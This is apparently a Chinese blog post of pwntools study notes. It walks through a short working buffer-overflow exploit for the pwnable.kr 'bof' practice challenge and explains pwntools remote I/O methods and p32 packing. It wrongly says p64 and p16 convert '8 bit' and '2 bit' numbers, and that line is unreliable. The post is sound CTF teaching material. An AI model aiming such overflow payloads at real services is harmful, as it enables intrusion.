pwntools学习记录(一)

参考文章:https://bbs.pediy.com/thread-247217.htm
我们先来就着上次写的bof的exp来讲解一下

from pwn import *
c = remote("pwnable.kr",9000)
c.sendline("AAAA"*13+p32(0xcafebabe))
c.interactive()

remote("一个域名或者ip地址", 端口)会连接到我们指定的地址及端口。 然后该函数会返回remote对象

remote对象主要用来进行对远程主机的输入输出. 它有如下几个方法:

send(payload)发送payload
sendline(payload)发送payload,并进行换行(末尾\n)
sendafter(some_string, payload)接收到 some_string 后, 发送你的 payload
recvn(N) 接受 N(数字) 字符
recvline()接收一行输出
recvlines(N)接收 N(数字) 行输出
recvuntil(some_string)接收到 some_string 为止

在第三行中,p32()可以让我们转换整数到小端序格式.p32转换4字节. p64p16 则分别转换 8 bit2 bit 数字

c.sendline将我们的payload发送到远程主机
c.interactive() 允许我们在终端里将命令传送到远程服务器. Pwntools 会自动接收输出并回显 .

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

五月的天气

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值